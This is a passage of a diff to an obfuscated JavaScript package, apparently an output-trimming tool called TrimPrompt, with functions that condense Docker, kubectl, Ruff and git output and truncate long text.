_0x11c0bf(0x15f);if(_0x340470['length']<=0x14)return _0x260e45[_0x11c0bf(0x157)]();if(_0x5ce297===_0x11c0bf(0x179)){const _0x569eb3=_0x340470[0x0],_0xe7348c=_0x340470[_0x11c0bf(0x148)](0x1),_0x4bfd06=[_0xe7348c[_0x11c0bf(0x17b)]+_0x11c0bf(0x164),'',_0x569eb3];return _0xe7348c['length']<=0x1e?_0x4bfd06[_0x11c0bf(0x16f)](..._0xe7348c):(_0x4bfd06[_0x11c0bf(0x16f)](..._0xe7348c[_0x11c0bf(0x148)](0x0,0x19)),_0x4bfd06[_0x11c0bf(0x16f)](_0x11c0bf(0x14a)+(_0xe7348c[_0x11c0bf(0x17b)]-0x19)+_0x11c0bf(0x172))),_0x4bfd06['join']('\x0a');}if(_0x5ce297===_0x11c0bf(0x163)){const _0x1668dc=[];let _0x58f55a=![],_0x2c6b1a=0x0;for(const _0x2b33a0 of _0x340470){if(_0x2b33a0[_0x11c0bf(0x178)](_0x11c0bf(0x16e))){_0x58f55a=!![],_0x1668dc[_0x11c0bf(0x16f)](_0x2b33a0);continue;}if(_0x58f55a){_0x2c6b1a++;if(_0x2c6b1a<=0x5)_0x1668dc[_0x11c0bf(0x16f)](_0x2b33a0);}else _0x1668dc[_0x11c0bf(0x16f)](_0x2b33a0);}return _0x2c6b1a>0x5&&_0x1668dc[_0x11c0bf(0x16f)](_0x11c0bf(0x15e)+(_0x2c6b1a-0x5)+'\x20more\x20events'),_0x1668dc[_0x11c0bf(0x14f)]('\x0a');}if(_0x5ce297===_0x11c0bf(0x158))return filterDockerLogs(_0x260e45);const _0x518b18=_0x340470[_0x11c0bf(0x148)](0x0,0x1e);return _0x340470['length']>0x1e&&_0x518b18[_0x11c0bf(0x16f)]('...\x20+'+(_0x340470[_0x11c0bf(0x17b)]-0x1e)+_0x11c0bf(0x14b)),_0x518b18[_0x11c0bf(0x14f)]('\x0a');}function filterRuff(_0x2b2ce3){const _0x204532=a0_0x4ce34a,_0x271103=_0x2b2ce3[_0x204532(0x153)]('\x0a')[_0x204532(0x14c)](_0x673102=>_0x673102['trim']()['length']>0x0);if(_0x271103[_0x204532(0x17b)]===0x0)return _0x204532(0x17c);if(_0x2b2ce3[_0x204532(0x165)](_0x204532(0x154))||_0x2b2ce3[_0x204532(0x165)](_0x204532(0x174)))return'Ruff:\x20all\x20checks\x20passed';const _0x45f84f=_0x2b2ce3['match'](/Found (\d+) error/),_0x5a5b9d=_0x45f84f?parseInt(_0x45f84f[0x1]):_0x271103['length'],_0x40c42a={},_0x2d2026=[];for(const _0x4c79cd of _0x271103){const _0x3c3c69=_0x4c79cd[_0x204532(0x162)](/^([^:]+:\d+:\d+):\s*(.*)/);if(_0x3c3c69){const _0x5f3b16=_0x3c3c69[0x1],_0x15709a=_0x5f3b16[_0x204532(0x153)](':')[0x0];if(!_0x40c42a[_0x15709a])_0x40c42a[_0x15709a]=[];_0x40c42a[_0x15709a]['push'](_0x4c79cd);}else _0x2d2026['push'](_0x4c79cd);}const _0x30a057=Object[_0x204532(0x16b)](_0x40c42a);if(_0x30a057[_0x204532(0x17b)]===0x0){if(_0x271103['length']<=0x14)return _0x2b2ce3[_0x204532(0x157)]();return _0x271103[_0x204532(0x148)](0x0,0xf)['join']('\x0a')+(_0x204532(0x160)+(_0x271103[_0x204532(0x17b)]-0xf)+_0x204532(0x151));}const _0x1d4b72=[_0x204532(0x16c)+_0x5a5b9d+_0x204532(0x155)+_0x30a057[_0x204532(0x17b)]+_0x204532(0x16a)];_0x1d4b72[_0x204532(0x16f)]('');const _0x4e8940=0xa;for(const _0x538463 of _0x30a057['slice'](0x0,_0x4e8940)){const _0x52f114=_0x40c42a[_0x538463];if(_0x52f114[_0x204532(0x17b)]<=0x3){for(const _0x2a2c53 of _0x52f114)_0x1d4b72[_0x204532(0x16f)]('\x20\x20'+_0x2a2c53);}else _0x1d4b72['push']('\x20\x20'+_0x52f114[0x0]),_0x1d4b72['push'](_0x204532(0x152)+_0x52f114[_0x204532(0x17b)]+_0x204532(0x155)+_0x538463+')');}return _0x30a057[_0x204532(0x17b)]>_0x4e8940&&_0x1d4b72[_0x204532(0x16f)]('\x20\x20...\x20+'+(_0x30a057[_0x204532(0x17b)]-_0x4e8940)+'\x20more\x20files'),_0x1d4b72[_0x204532(0x14f)]('\x0a');}function a0_0x3643(){const _0x2f0bdd=['filterDockerPs','835akWMbH','\x20files','keys','Ruff:\x20','34716eLjOMP','Events:','push','2631886COtrra','20347490EGlemI','\x20more\x20resources','Containers:\x20','Found\x200\x20error','8048EiUQRu','No\x20images\x20found','No\x20containers\x20running','startsWith','get','9280110BcnGVQ','length','Ruff:\x20no\x20issues\x20found','__esModule','slice','\x20total','...\x20+','\x20more\x20lines','filter','\x0a...\x20[','586606acaKcv','join','filterDockerLogs','\x20more','\x20\x20...\x20(','split','All\x20checks\x20passed','\x20issues\x20in\x20','12897TNPFGP','trim','logs','1272xcRBbj','\x20log\x20lines\x20total)','filterKubectl','defineProperty','\x20more\x20images','\x20\x20...\x20+','No\x20resources\x20found','\x0a...\x20+','\x20lines\x20truncated]\x20...\x0a','match','describe','\x20resources\x20found','includes','9056HYMpzX','filterDockerImages'];a0_0x3643=function(){return _0x2f0bdd;};return a0_0x3643();}
@@ -1 +1 @@
1
- 'use strict';const a0_0x3a631b=a0_0x32b9;(function(_0x50b6db,_0x1003db){const _0x125144=a0_0x32b9,_0x2a32fa=_0x50b6db();while(!![]){try{const _0x46dd3c=parseInt(_0x125144(0x98))/0x1+-parseInt(_0x125144(0x84))/0x2+parseInt(_0x125144(0xa2))/0x3*(parseInt(_0x125144(0xa4))/0x4)+parseInt(_0x125144(0x9a))/0x5+-parseInt(_0x125144(0x7c))/0x6*(parseInt(_0x125144(0x7f))/0x7)+-parseInt(_0x125144(0x8f))/0x8+parseInt(_0x125144(0x7b))/0x9;if(_0x46dd3c===_0x1003db)break;else _0x2a32fa['push'](_0x2a32fa['shift']());}catch(_0x224db9){_0x2a32fa['push'](_0x2a32fa['shift']());}}}(a0_0x4750,0xf1922));Object[a0_0x3a631b(0x97)](exports,a0_0x3a631b(0xa9),{'value':!![]}),exports[a0_0x3a631b(0x8c)]=stripAnsi,exports[a0_0x3a631b(0x80)]=collapseDuplicates,exports[a0_0x3a631b(0x8a)]=collapseWhitespace,exports[a0_0x3a631b(0x9b)]=stripComments,exports[a0_0x3a631b(0x7e)]=smartCrushJson,exports[a0_0x3a631b(0x8d)]=softTruncate;function a0_0x32b9(_0x472f8f,_0xc2c6e9){const _0x475023=a0_0x4750();return a0_0x32b9=function(_0x32b9db,_0x173cac){_0x32b9db=_0x32b9db-0x79;let _0x3665fa=_0x475023[_0x32b9db];return _0x3665fa;},a0_0x32b9(_0x472f8f,_0xc2c6e9);}function stripAnsi(_0x54f112){const _0x3804d6=a0_0x3a631b,_0x58d5f2=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x54f112[_0x3804d6(0x81)](_0x58d5f2,'');}function collapseDuplicates(_0x53eb78){const _0xce350b=a0_0x3a631b,_0x393d5f=_0x53eb78['split']('\x0a');if(_0x393d5f[_0xce350b(0x9f)]<=0x1)return _0x53eb78;const _0xa9735c=[];let _0x334cb6=_0x393d5f[0x0],_0x3f516e=0x1;for(let _0x267573=0x1;_0x267573<_0x393d5f[_0xce350b(0x9f)];_0x267573++){const _0x294776=_0x393d5f[_0x267573];_0x294776===_0x334cb6&&_0x294776[_0xce350b(0xa7)]()[_0xce350b(0x9f)]>0x0?_0x3f516e++:(_0x3f516e>0x1?_0xa9735c[_0xce350b(0x95)](_0x334cb6+_0xce350b(0x79)+_0x3f516e+']'):_0xa9735c[_0xce350b(0x95)](_0x334cb6),_0x334cb6=_0x294776,_0x3f516e=0x1);}return _0x3f516e>0x1?_0xa9735c[_0xce350b(0x95)](_0x334cb6+_0xce350b(0x79)+_0x3f516e+']'):_0xa9735c['push'](_0x334cb6),_0xa9735c[_0xce350b(0x85)]('\x0a');}function collapseWhitespace(_0x38e42a){const _0x20837f=a0_0x3a631b;let _0x9465fc=_0x38e42a[_0x20837f(0x81)](/[ \t]+$/gm,'');return _0x9465fc=_0x9465fc[_0x20837f(0x81)](/\n{4,}/g,_0x20837f(0x87)),_0x9465fc;}function stripComments(_0x227166,_0x44b035){const _0x31ca98=a0_0x3a631b;if(!_0x44b035)return _0x227166;const _0x271a58=_0x227166[_0x31ca98(0x94)]('\x0a');if(_0x271a58[_0x31ca98(0x9f)]<=0x96)return _0x227166;const _0x177a66={'.ts':/^\s*\/\//,'.js':/^\s*\/\//,'.tsx':/^\s*\/\//,'.jsx':/^\s*\/\//,'.py':/^\s*#(?!!)/,'.rb':/^\s*#(?!!)/,'.sh':/^\s*#(?!!)/,'.go':/^\s*\/\//,'.rs':/^\s*\/\//,'.java':/^\s*\/\//,'.c':/^\s*\/\//,'.cpp':/^\s*\/\//,'.cs':/^\s*\/\//,'.swift':/^\s*\/\//,'.kt':/^\s*\/\//,'.yaml':/^\s*#(?!!)/,'.yml':/^\s*#(?!!)/},_0x804a29=_0x177a66[_0x44b035[_0x31ca98(0x8e)]()];if(!_0x804a29)return _0x227166;const _0x199490=_0x271a58[_0x31ca98(0x89)](_0x50742f=>!_0x804a29[_0x31ca98(0x9e)](_0x50742f));return _0x199490['join']('\x0a');}function a0_0x4750(){const _0x34a3e3=['collapseDuplicates','replace','sha','\x20fields,\x20showing\x20','3454552fNQhGm','join','\x20items,\x20','\x0a\x0a\x0a','resolved','filter','collapseWhitespace','parse','stripAnsi','softTruncate','toLowerCase','4024200cltulJ','min','dev','slice','includes','split','push','\x0a...\x20[TrimPrompt:\x20Truncated\x20','defineProperty','1663123VqkPtp','\x20characters\x20of\x20output]\x20...\x0a','269890FtAdsc','stripComments','signature','map','test','length','stringify','isArray','681MDORMa','hash','25492NdRlAw','startsWith','object','trim','funding','__esModule','\x20[x','...\x20+','4847274ziYCpn','6SgIJwQ','integrity','smartCrushJson','3378081MYwmSF'];a0_0x4750=function(){return _0x34a3e3;};return a0_0x4750();}function smartCrushJson(_0x22bcad){const _0x11b2a0=a0_0x3a631b;try{const _0x46ef3d=_0x22bcad['trim']();if(!_0x46ef3d[_0x11b2a0(0xa5)]('['))return null;const _0x437fe1=JSON[_0x11b2a0(0x8b)](_0x46ef3d);if(!Array[_0x11b2a0(0xa1)](_0x437fe1)||_0x437fe1[_0x11b2a0(0x9f)]<0x3)return null;if(typeof _0x437fe1[0x0]!==_0x11b2a0(0xa6)||_0x437fe1[0x0]===null)return null;const _0x39ab53=Object['keys'](_0x437fe1[0x0]);if(_0x39ab53[_0x11b2a0(0x9f)]===0x0)return null;const _0x3274fc=_0x39ab53[_0x11b2a0(0x89)](_0x168445=>{const _0x9c482d=_0x11b2a0,_0x5f3d5f=_0x168445[_0x9c482d(0x8e)]();return!_0x5f3d5f[_0x9c482d(0x93)](_0x9c482d(0x88))&&!_0x5f3d5f[_0x9c482d(0x93)](_0x9c482d(0x7d))&&!_0x5f3d5f[_0x9c482d(0x93)](_0x9c482d(0x82))&&!_0x5f3d5f[_0x9c482d(0x93)](_0x9c482d(0xa3))&&!_0x5f3d5f['includes']('checksum')&&!_0x5f3d5f[_0x9c482d(0x93)](_0x9c482d(0x9c))&&!_0x5f3d5f[_0x9c482d(0x93)](_0x9c482d(0x91))&&_0x5f3d5f!==_0x9c482d(0xa8)&&_0x5f3d5f!=='engines'&&_0x5f3d5f!=='bugs'&&_0x5f3d5f!=='repository';})['slice'](0x0,0x6);if(_0x3274fc[_0x11b2a0(0x9f)]===0x0)return null;const _0x59c87c=[];_0x59c87c['push'](_0x3274fc['join']('|'));const _0x40dca2=0x1e;for(let _0x2bf041=0x0;_0x2bf041<Math[_0x11b2a0(0x90)](_0x437fe1[_0x11b2a0(0x9f)],_0x40dca2);_0x2bf041++){const _0x518b18=_0x3274fc[_0x11b2a0(0x9d)](_0x43335c=>{const _0x2d27ce=_0x11b2a0,_0x5bc273=_0x437fe1[_0x2bf041][_0x43335c];if(_0x5bc273===null||_0x5bc273===undefined)return'';if(typeof _0x5bc273===_0x2d27ce(0xa6))return JSON[_0x2d27ce(0xa0)](_0x5bc273)['substring'](0x0,0x28);return String(_0x5bc273)['substring'](0x0,0x3c);});_0x59c87c[_0x11b2a0(0x95)](_0x518b18[_0x11b2a0(0x85)]('|'));}_0x437fe1[_0x11b2a0(0x9f)]>_0x40dca2&&_0x59c87c[_0x11b2a0(0x95)](_0x11b2a0(0x7a)+(_0x437fe1[_0x11b2a0(0x9f)]-_0x40dca2)+'\x20more\x20rows');_0x59c87c[_0x11b2a0(0x95)]('\x0a('+_0x437fe1[_0x11b2a0(0x9f)]+_0x11b2a0(0x86)+_0x39ab53['length']+_0x11b2a0(0x83)+_0x3274fc[_0x11b2a0(0x9f)]+'\x20key\x20fields)');const _0x26b462=_0x59c87c[_0x11b2a0(0x85)]('\x0a');if(_0x26b462['length']<_0x46ef3d[_0x11b2a0(0x9f)])return _0x26b462;return null;}catch{return null;}}function softTruncate(_0x469bc9,_0x1e1107=0x4e20){const _0x10083f=a0_0x3a631b;if(_0x469bc9[_0x10083f(0x9f)]<=_0x1e1107)return _0x469bc9;const _0x358552=_0x469bc9[_0x10083f(0x94)]('\x0a');if(_0x358552[_0x10083f(0x9f)]<=0xc8)return _0x469bc9;const _0x1a8a86=0x32,_0x13e8f6=0x96,_0x2dd10d=_0x358552[_0x10083f(0x92)](0x0,_0x1a8a86),_0x22e249=_0x358552[_0x10083f(0x92)](_0x358552[_0x10083f(0x9f)]-_0x13e8f6),_0x2c7bee=_0x469bc9[_0x10083f(0x9f)]-(_0x2dd10d[_0x10083f(0x85)]('\x0a')['length']+_0x22e249[_0x10083f(0x85)]('\x0a')[_0x10083f(0x9f)]);return[..._0x2dd10d,_0x10083f(0x96)+_0x2c7bee+_0x10083f(0x99),..._0x22e249][_0x10083f(0x85)]('\x0a');}
1
+ 'use strict';const a0_0x504bd6=a0_0x542d;(function(_0x421c31,_0x56f53c){const _0x968a29=a0_0x542d,_0xbc3608=_0x421c31();while(!![]){try{const _0xab31f4=parseInt(_0x968a29(0x1b3))/0x1+-parseInt(_0x968a29(0x196))/0x2*(parseInt(_0x968a29(0x18b))/0x3)+-parseInt(_0x968a29(0x194))/0x4*(parseInt(_0x968a29(0x198))/0x5)+-parseInt(_0x968a29(0x1b1))/0x6*(parseInt(_0x968a29(0x19d))/0x7)+-parseInt(_0x968a29(0x18c))/0x8*(parseInt(_0x968a29(0x1b2))/0x9)+-parseInt(_0x968a29(0x188))/0xa+parseInt(_0x968a29(0x192))/0xb;if(_0xab31f4===_0x56f53c)break;else _0xbc3608['push'](_0xbc3608['shift']());}catch(_0xee932d){_0xbc3608['push'](_0xbc3608['shift']());}}}(a0_0x2142,0x37f34));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x504bd6(0x19e)]=stripAnsi,exports['collapseDuplicates']=collapseDuplicates,exports[a0_0x504bd6(0x191)]=collapseWhitespace,exports[a0_0x504bd6(0x1a0)]=stripComments,exports[a0_0x504bd6(0x197)]=smartCrushJson,exports['softTruncate']=softTruncate;function stripAnsi(_0x3b8609){const _0x36b222=a0_0x504bd6,_0x722173=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x3b8609[_0x36b222(0x19a)](_0x722173,'');}function collapseDuplicates(_0x1394a3){const _0x2a467a=a0_0x504bd6,_0x4945d1=_0x1394a3[_0x2a467a(0x19c)]('\x0a');if(_0x4945d1['length']<=0x1)return _0x1394a3;const _0x209dbb=[];let _0x44fccb=_0x4945d1[0x0],_0xe8d94a=0x1;for(let _0x1fcc6f=0x1;_0x1fcc6f<_0x4945d1[_0x2a467a(0x1a7)];_0x1fcc6f++){const _0x37f293=_0x4945d1[_0x1fcc6f];_0x37f293===_0x44fccb&&_0x37f293[_0x2a467a(0x19b)]()[_0x2a467a(0x1a7)]>0x0?_0xe8d94a++:(_0xe8d94a>0x1?_0x209dbb[_0x2a467a(0x19f)](_0x44fccb+_0x2a467a(0x1b0)+_0xe8d94a+']'):_0x209dbb[_0x2a467a(0x19f)](_0x44fccb),_0x44fccb=_0x37f293,_0xe8d94a=0x1);}return _0xe8d94a>0x1?_0x209dbb['push'](_0x44fccb+'\x20[x'+_0xe8d94a+']'):_0x209dbb[_0x2a467a(0x19f)](_0x44fccb),_0x209dbb[_0x2a467a(0x1a2)]('\x0a');}function a0_0x542d(_0x5915e1,_0x314536){const _0x214219=a0_0x2142();return a0_0x542d=function(_0x542df3,_0x19840c){_0x542df3=_0x542df3-0x188;let _0x3604ec=_0x214219[_0x542df3];return _0x3604ec;},a0_0x542d(_0x5915e1,_0x314536);}function collapseWhitespace(_0x3ea25e){const _0x390ab0=a0_0x504bd6;let _0x36e43a=_0x3ea25e[_0x390ab0(0x19a)](/[ \t]+$/gm,'');return _0x36e43a=_0x36e43a[_0x390ab0(0x19a)](/\n{4,}/g,_0x390ab0(0x1ab)),_0x36e43a;}function a0_0x2142(){const _0x5cff97=['stripComments','substring','join','filter','slice','checksum','sha','length','hash','toLowerCase','object','\x0a\x0a\x0a','funding','includes','bugs','...\x20+','\x20[x','40752ILIwOg','63mUNgJT','393071BRGnvZ','repository','\x20characters\x20of\x20output]\x20...\x0a','stringify','1626890OSzkBS','min','map','4863rrUXYu','513776MvYaGg','engines','\x20key\x20fields)','dev','signature','collapseWhitespace','11597828LfVCeT','\x20more\x20rows','275996RTEWhZ','resolved','562Ndayhf','smartCrushJson','5FhGZwj','\x20fields,\x20showing\x20','replace','trim','split','84UNISTA','stripAnsi','push'];a0_0x2142=function(){return _0x5cff97;};return a0_0x2142();}function stripComments(_0x43d865,_0x2be4f8){const _0x2ac6e7=a0_0x504bd6;if(!_0x2be4f8)return _0x43d865;const _0x8e48ef=_0x43d865[_0x2ac6e7(0x19c)]('\x0a');if(_0x8e48ef[_0x2ac6e7(0x1a7)]<=0x96)return _0x43d865;const _0x433b72={'.ts':/^\s*\/\//,'.js':/^\s*\/\//,'.tsx':/^\s*\/\//,'.jsx':/^\s*\/\//,'.py':/^\s*#(?!!)/,'.rb':/^\s*#(?!!)/,'.sh':/^\s*#(?!!)/,'.go':/^\s*\/\//,'.rs':/^\s*\/\//,'.java':/^\s*\/\//,'.c':/^\s*\/\//,'.cpp':/^\s*\/\//,'.cs':/^\s*\/\//,'.swift':/^\s*\/\//,'.kt':/^\s*\/\//,'.yaml':/^\s*#(?!!)/,'.yml':/^\s*#(?!!)/},_0x1054de=_0x433b72[_0x2be4f8[_0x2ac6e7(0x1a9)]()];if(!_0x1054de)return _0x43d865;const _0x327e53=_0x8e48ef[_0x2ac6e7(0x1a3)](_0x360129=>!_0x1054de['test'](_0x360129));return _0x327e53[_0x2ac6e7(0x1a2)]('\x0a');}function smartCrushJson(_0x52f1c6){const _0x4052b2=a0_0x504bd6;try{const _0xa5255d=_0x52f1c6[_0x4052b2(0x19b)]();if(!_0xa5255d['startsWith']('['))return null;const _0x4e1e22=JSON['parse'](_0xa5255d);if(!Array['isArray'](_0x4e1e22)||_0x4e1e22[_0x4052b2(0x1a7)]<0x3)return null;if(typeof _0x4e1e22[0x0]!==_0x4052b2(0x1aa)||_0x4e1e22[0x0]===null)return null;const _0x2dfc0c=Object['keys'](_0x4e1e22[0x0]);if(_0x2dfc0c['length']===0x0)return null;const _0x40538f=_0x2dfc0c[_0x4052b2(0x1a3)](_0x4e7806=>{const _0x570ce6=_0x4052b2,_0x3fb2f6=_0x4e7806['toLowerCase']();return!_0x3fb2f6[_0x570ce6(0x1ad)](_0x570ce6(0x195))&&!_0x3fb2f6[_0x570ce6(0x1ad)]('integrity')&&!_0x3fb2f6[_0x570ce6(0x1ad)](_0x570ce6(0x1a6))&&!_0x3fb2f6[_0x570ce6(0x1ad)](_0x570ce6(0x1a8))&&!_0x3fb2f6[_0x570ce6(0x1ad)](_0x570ce6(0x1a5))&&!_0x3fb2f6[_0x570ce6(0x1ad)](_0x570ce6(0x190))&&!_0x3fb2f6[_0x570ce6(0x1ad)](_0x570ce6(0x18f))&&_0x3fb2f6!==_0x570ce6(0x1ac)&&_0x3fb2f6!==_0x570ce6(0x18d)&&_0x3fb2f6!==_0x570ce6(0x1ae)&&_0x3fb2f6!==_0x570ce6(0x1b4);})[_0x4052b2(0x1a4)](0x0,0x6);if(_0x40538f[_0x4052b2(0x1a7)]===0x0)return null;const _0x1a323a=[];_0x1a323a[_0x4052b2(0x19f)](_0x40538f[_0x4052b2(0x1a2)]('|'));const _0x511b2d=0x1e;for(let _0x21b1a=0x0;_0x21b1a<Math[_0x4052b2(0x189)](_0x4e1e22[_0x4052b2(0x1a7)],_0x511b2d);_0x21b1a++){const _0xca213f=_0x40538f[_0x4052b2(0x18a)](_0x151a29=>{const _0x40fd42=_0x4052b2,_0x1d0da6=_0x4e1e22[_0x21b1a][_0x151a29];if(_0x1d0da6===null||_0x1d0da6===undefined)return'';if(typeof _0x1d0da6===_0x40fd42(0x1aa))return JSON[_0x40fd42(0x1b6)](_0x1d0da6)[_0x40fd42(0x1a1)](0x0,0x28);return String(_0x1d0da6)[_0x40fd42(0x1a1)](0x0,0x3c);});_0x1a323a[_0x4052b2(0x19f)](_0xca213f[_0x4052b2(0x1a2)]('|'));}_0x4e1e22[_0x4052b2(0x1a7)]>_0x511b2d&&_0x1a323a[_0x4052b2(0x19f)](_0x4052b2(0x1af)+(_0x4e1e22[_0x4052b2(0x1a7)]-_0x511b2d)+_0x4052b2(0x193));_0x1a323a[_0x4052b2(0x19f)]('\x0a('+_0x4e1e22[_0x4052b2(0x1a7)]+'\x20items,\x20'+_0x2dfc0c[_0x4052b2(0x1a7)]+_0x4052b2(0x199)+_0x40538f[_0x4052b2(0x1a7)]+_0x4052b2(0x18e));const _0xa8edab=_0x1a323a['join']('\x0a');if(_0xa8edab[_0x4052b2(0x1a7)]<_0xa5255d[_0x4052b2(0x1a7)])return _0xa8edab;return null;}catch{return null;}}function softTruncate(_0x3bddb9,_0x3bdbae=0x4e20){const _0x59cc19=a0_0x504bd6;if(_0x3bddb9[_0x59cc19(0x1a7)]<=_0x3bdbae)return _0x3bddb9;const _0x57b3b1=_0x3bddb9[_0x59cc19(0x19c)]('\x0a');if(_0x57b3b1[_0x59cc19(0x1a7)]<=0xc8)return _0x3bddb9;const _0x51f71f=0x32,_0x14d4e7=0x96,_0x17f2e2=_0x57b3b1[_0x59cc19(0x1a4)](0x0,_0x51f71f),_0x7b9bc9=_0x57b3b1[_0x59cc19(0x1a4)](_0x57b3b1[_0x59cc19(0x1a7)]-_0x14d4e7),_0x39d2bb=_0x3bddb9['length']-(_0x17f2e2['join']('\x0a')[_0x59cc19(0x1a7)]+_0x7b9bc9[_0x59cc19(0x1a2)]('\x0a')[_0x59cc19(0x1a7)]);return[..._0x17f2e2,'\x0a...\x20[TrimPrompt:\x20Truncated\x20'+_0x39d2bb+_0x59cc19(0x1b5),..._0x7b9bc9][_0x59cc19(0x1a2)]('\x0a');}
package/filters/git.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x394644=a0_0x11cf;(function(_0x80570d,_0x9613a4){const _0x4eecb5=a0_0x11cf,_0x58e2ba=_0x80570d();while(!![]){try{const _0x1651cb=parseInt(_0x4eecb5(0xbf))/0x1+parseInt(_0x4eecb5(0xdc))/0x2*(parseInt(_0x4eecb5(0xc5))/0x3)+parseInt(_0x4eecb5(0xcd))/0x4*(parseInt(_0x4eecb5(0xb1))/0x5)+-parseInt(_0x4eecb5(0xc0))/0x6*(parseInt(_0x4eecb5(0xbd))/0x7)+-parseInt(_0x4eecb5(0xcb))/0x8*(-parseInt(_0x4eecb5(0xd2))/0x9)+parseInt(_0x4eecb5(0xc8))/0xa+parseInt(_0x4eecb5(0xbb))/0xb*(-parseInt(_0x4eecb5(0xae))/0xc);if(_0x1651cb===_0x9613a4)break;else _0x58e2ba['push'](_0x58e2ba['shift']());}catch(_0x2176e7){_0x58e2ba['push'](_0x58e2ba['shift']());}}}(a0_0x57aa,0x6197a));var __createBinding=this&&this[a0_0x394644(0xb8)]||(Object[a0_0x394644(0xde)]?function(_0x22d98a,_0x1da065,_0x29c1d1,_0x498da6){const _0x169ed1=a0_0x394644;if(_0x498da6===undefined)_0x498da6=_0x29c1d1;var _0x468b15=Object[_0x169ed1(0xdb)](_0x1da065,_0x29c1d1);(!_0x468b15||(_0x169ed1(0xbe)in _0x468b15?!_0x1da065[_0x169ed1(0xb3)]:_0x468b15['writable']||_0x468b15['configurable']))&&(_0x468b15={'enumerable':!![],'get':function(){return _0x1da065[_0x29c1d1];}}),Object['defineProperty'](_0x22d98a,_0x498da6,_0x468b15);}:function(_0x1eb799,_0x2479cf,_0x5239e2,_0x19fcf8){if(_0x19fcf8===undefined)_0x19fcf8=_0x5239e2;_0x1eb799[_0x19fcf8]=_0x2479cf[_0x5239e2];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x394644(0xde)]?function(_0x55bb19,_0xa91af){const _0x54725e=a0_0x394644;Object[_0x54725e(0xd1)](_0x55bb19,_0x54725e(0xbc),{'enumerable':!![],'value':_0xa91af});}:function(_0x4cd0ce,_0xefc551){const _0x14e2f8=a0_0x394644;_0x4cd0ce[_0x14e2f8(0xbc)]=_0xefc551;}),__importStar=this&&this[a0_0x394644(0xb5)]||(function(){var _0x3d42ba=function(_0x22579e){const _0x19b207=a0_0x11cf;return _0x3d42ba=Object[_0x19b207(0xc3)]||function(_0x4e39db){const _0x3e6563=_0x19b207;var _0x49da0e=[];for(var _0x36c7b5 in _0x4e39db)if(Object[_0x3e6563(0xd9)][_0x3e6563(0xce)][_0x3e6563(0xd6)](_0x4e39db,_0x36c7b5))_0x49da0e[_0x49da0e[_0x3e6563(0xe0)]]=_0x36c7b5;return _0x49da0e;},_0x3d42ba(_0x22579e);};return function(_0x1a4c9d){const _0xe1dd0c=a0_0x11cf;if(_0x1a4c9d&&_0x1a4c9d[_0xe1dd0c(0xb3)])return _0x1a4c9d;var _0x9d4469={};if(_0x1a4c9d!=null){for(var _0x2d94b4=_0x3d42ba(_0x1a4c9d),_0x264b58=0x0;_0x264b58<_0x2d94b4['length'];_0x264b58++)if(_0x2d94b4[_0x264b58]!==_0xe1dd0c(0xbc))__createBinding(_0x9d4469,_0x1a4c9d,_0x2d94b4[_0x264b58]);}return __setModuleDefault(_0x9d4469,_0x1a4c9d),_0x9d4469;};}());function a0_0x57aa(){const _0x120d2d=['No\x20modifications','getOwnPropertyNames','filterGitDiff','6QLGmGm','slice','+++','7388350zCahau','filterGitStatus','\x20lines\x20of\x20description)','111200pnArpC','join','84HxROAN','hasOwnProperty','push','basename','defineProperty','9NtxKlf','substring','map','\x20\x20...\x20+','call','Clean\x20working\x20tree','\x20\x20...\x20(+','prototype','*\x20Branch:\x20','getOwnPropertyDescriptor','250474uNrBVc','\x20\x20??\x20','create','\x20untracked\x20files)','length','split','4513140qnsNsX','entries','startsWith','31945TtsDQD','match','__esModule','filter','__importStar','/\x20(','---END---','__createBinding','trim','filterGitLog','11YISLLQ','default','3959179EEAnqB','get','204052WzJoNj','6jyEssj','\x20(+'];a0_0x57aa=function(){return _0x120d2d;};return a0_0x57aa();}Object[a0_0x394644(0xd1)](exports,a0_0x394644(0xb3),{'value':!![]}),exports[a0_0x394644(0xc9)]=filterGitStatus,exports[a0_0x394644(0xba)]=filterGitLog,exports[a0_0x394644(0xc4)]=filterGitDiff;const path=__importStar(require('path'));function filterGitStatus(_0x511eae){const _0x4741c=a0_0x394644,_0x86a15f=_0x511eae['split']('\x0a')[_0x4741c(0xd4)](_0x550f34=>_0x550f34[_0x4741c(0xb9)]())['filter'](_0x283639=>_0x283639[_0x4741c(0xe0)]>0x0);if(_0x86a15f[_0x4741c(0xe0)]===0x0)return _0x4741c(0xd7);const _0x451501=[],_0x1c0c25=[],_0xf48e59=[];for(const _0xb307f6 of _0x86a15f){if(_0xb307f6[_0x4741c(0xb0)]('##')){const _0x38cc6d=_0xb307f6['replace'](/^##\s*/,'');_0x451501['push'](_0x4741c(0xda)+_0x38cc6d);}else _0xb307f6[_0x4741c(0xb0)]('??')?_0x1c0c25[_0x4741c(0xcf)](_0xb307f6[_0x4741c(0xd3)](0x3)['trim']()):_0xf48e59[_0x4741c(0xcf)](_0xb307f6);}_0xf48e59[_0x4741c(0xe0)]>0x0&&(_0x451501['push']('\x0aChanges:'),_0x451501[_0x4741c(0xcf)](..._0xf48e59['map'](_0x39c701=>'\x20\x20'+_0x39c701)));if(_0x1c0c25['length']>0x0){_0x451501['push']('\x0aUntracked\x20files:');const _0x101287={},_0x495320=[];for(const _0x43a715 of _0x1c0c25){const _0x39a8bb=path['dirname'](_0x43a715);_0x39a8bb==='.'||_0x39a8bb===''?_0x495320[_0x4741c(0xcf)](_0x43a715):(!_0x101287[_0x39a8bb]&&(_0x101287[_0x39a8bb]=[]),_0x101287[_0x39a8bb][_0x4741c(0xcf)](path[_0x4741c(0xd0)](_0x43a715)));}for(const [_0x55ad42,_0x1a7ca7]of Object[_0x4741c(0xaf)](_0x101287)){if(_0x1a7ca7[_0x4741c(0xe0)]>0x5)_0x451501['push'](_0x4741c(0xdd)+_0x55ad42+_0x4741c(0xb6)+_0x1a7ca7[_0x4741c(0xe0)]+_0x4741c(0xdf));else for(const _0x52d8af of _0x1a7ca7){_0x451501['push']('\x20\x20??\x20'+path['join'](_0x55ad42,_0x52d8af));}}for(const _0x4b0dc5 of _0x495320){_0x451501[_0x4741c(0xcf)](_0x4741c(0xdd)+_0x4b0dc5);}}return 